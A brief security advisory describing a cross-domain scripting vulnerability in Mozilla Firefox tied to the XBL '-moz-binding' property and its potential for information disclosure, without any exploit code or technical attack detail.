Discussion

Mozilla Firefox XBL -MOZ-BINDING Property Cross-Domain Scripting Vulnerability



Mozilla Firefox is prone to a security vulnerability that may let a Web page execute malicious script code in the context of an arbitrary domain.

The issue affects the '-moz-binding' property.


This could allow a malicious site to access the properties of a trusted site and facilitate various attacks including disclosure of sensitive information.
